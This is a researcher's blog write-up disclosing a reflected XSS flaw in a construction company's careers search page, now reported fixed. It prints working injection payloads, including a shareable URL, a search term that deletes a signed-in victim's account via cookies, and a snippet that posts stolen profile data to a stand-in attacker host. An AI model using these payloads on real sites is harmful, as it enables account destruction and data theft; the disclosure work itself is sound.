Featured image of post Constructing a Career in XSS

Constructing a Career in XSS

How a simple XSS bug could spell disaster for prospective employees for one of New Zealand's largest corporations.

Introduction

This week’s vulnerable website belongs to a large New Zealand construction company. Specifically, the issue exists their careers website and we’ll see how it can be misused to potentially steal the information of its users.

The Happy Path

Sometimes just searching through the page source for your search query can give you enough clues to try and figure out a way to break it.

The careers website for this company.

Take the above careers website, for example: searching for 123456789 and then viewing the source of the page we find that our search query is embedded in a JavaScript object which is, itself, embedded in a script tag. I have shortened the script here since most of it isn’t relevant, the main point is that our search term has been placed in a string inside of an dictionary which is inside of another dictionary.

1
2
3
4
5
6
7
<script>
var twigConfig = {
    "googleParameters": {
        "dataUrl": "/123456789"
    }
};
</script>

Breaking the Page

So, what would happen if we were put a double-quote at the end of our search term, e.g. 123456789"? Well the page source now looks like the following:

1
2
3
4
5
6
7
<script>
var twigConfig = {
    "googleParameters": {
        "dataUrl": "/123456789""
    }
};
</script>

The eagle-eyed reader will notice that this isn’t valid JSON, and it’s also not valid JavaScript either. Because of this we get a bunch of errors on the page:

The JavaScript errors caused by our search term changing the source code.

We also get a page that doesn’t look quite right to the user. That’s because some of the scripts don’t run because they encountered the syntax error that we introduced. Presumably, these scripts are also in charge of laying out the page.

This is what the user sees when we put a double quote inside our search term.

Getting Control

However, since we know we can inject arbitrary code into the page via the search term, we can fix the errors ourselves! For example, we can search for 123456789"}};twigConfig={...twigConfig, googleParameters:{dataUrl:"/123456789 and that fixes the syntax issues in the JavaScript while still retaining all the information in the twigConfig variable. This is what that would look like in the source code for the page (I’ve added indentation and newlines here to make it readable):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<script>
var twigConfig = {
    "googleParameters": {
        "dataUrl": "/123456789"
    }
};
twigConfig = {
    ...twigConfig,
    googleParameters: {
        dataUrl: "/123456789"
    }
}
</script>

However, this allows us to now insert arbitrary JavaScript into the page: for example, the following search term shows a popup.

1
123456789"}};alert("sup");twigConfig={...twigConfig, googleParameters:{dataUrl:"/123456789

When rendered (and after adding my own whitespace) this looks like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<script>
var twigConfig = {
    "googleParameters": {
        "dataUrl": "/123456789"
    }
};
alert("sup");
twigConfig = {
    googleParameters: {
        dataUrl: "/123456789"
    }
}
</script>

And because this is a reflected XSS vulnerability, we can share the URL with people and execute JavaScript in their browsers too:

1
https://careers.example.com/careers/SearchJobs/123456789%22%7D%7D%3Balert%28%22sup%22%29%3BtwigConfig%3D%7B...twigConfig%2C%20googleParameters%3A%7BdataUrl%3A%22%2F123456789

Impact

Often XSS is difficult to exploit. However, there are several reasons why this vulnerabilty is bad and should be fixed.

Deleting User Accounts

We can force a user to delete their account by making a post request to https://careers.example.com/careers/ProfileDelete with the body tokenField=BLAABLAABLAA&delete=Continue, where the tokenField value is found in the browser cookies. The JavaScript is able to access these cookies because they aren’t set to be HttpOnly. If they were, this wouldn’t be possible.

1
2
3
4
5
6
7
fetch("/careers/ProfileDelete", {
    body: document.cookie + "&delete=Continue",
    method: "POST",
    headers: {
        "content-type": "application/x-www-form-urlencoded"
    }
})

Turning that into a search term we get:

1
"}};fetch("/careers/ProfileDelete",{body:document.cookie+"&delete=Continue",method:"POST",headers:{"content-type":"application/x-www-form-urlencoded"}});twigConfig={...twigConfig, googleParameters:{dataUrl:"

If you were to share this URL with a friend (or nemesis) who had an account on this site and their account was signed in, it would be deleted!

The page after viewing the 'delete account' search term.

Exfiltrating User Data

In reality, what would probably happen would be some good old-fashioned data harvesting. Here’s an example of some code that could send someone’s details up to the attacker’s server:

1
2
3
fetch("/careers/Profile")
    .then(res => res.text())
    .then(body => fetch("https://evil.hacks.nz/upload", { method: "POST", body }))

Disclosure

The following is a breakdown of the reporting timeline:

  • 2024-04-15: I reported these issues to the company via their website’s contact form.
  • 2024-05-11: I sent an email to their company email address detailing the issues and advising them I’d write this post.
  • 2024-05-30: I sent a Facebook message to their company Facebook page and got an automated reply back saying that I should apply for jobs via their careers website! Ironic.
  • 2024-05-31: After six weeks, I (finally) got ahold of a human via telephone!

The Phone Call

I introduced myself and told them that I had found a security vulnerability on one of their websites. As soon as I mentioned the word security the person on the other end of the line became very short with me. They opened their web browser and asked me how to exploit the vulnerability. I wasn’t prepared to talk someone through writing an XSS exploit over the phone, especially to the person answering the phones for this large organisation.

It took me a couple of minutes to boot up my laptop where I had the example search terms. However, we weren’t able to get the exploit working as expected. I was able to get it working on my end but perhaps I didn’t communicate the specific characters clearly enough.

In the end, the person on the other end of the line seemed very satisfied that they had thwarted a hacker. I was then informed that this company has a very good security team that takes great care in making sure that vulnerabilities like this don’t exist. They confirmed that they did not want to follow this up any further with me.

I get the feeling that maybe they didn’t want to talk to me; perhaps they get a lot of these calls? In any case, at the time of writing, this issue remains in the product. Go figure 🤷

When deleting your account on this careers website, you are given one last chance to look at their privacy policy.

Note the link to the privacy policy.

However, the URL assigned to the privacy policy link doesn’t take the user to the privacy policy at all! It instead takes the user to https://www.privacylink.com/ which has an invalid SSL certificate and looks like some guy’s personal website:

Ah yes, the link for the privacy policy...

My guess is that the original developers left that link in as a placeholder and forgot to replace it! That’s all I have for now.

Update (2024-12-15)

I’ve been meaning to make an update to this for a while now. Sometime in October this issue has been fixed and the website no longer exhibits this behaviour; the values are now correctly escaped. It took them a while to fix it but they got there in the end.

Cover photo by Maarten van den Heuvel on Unsplash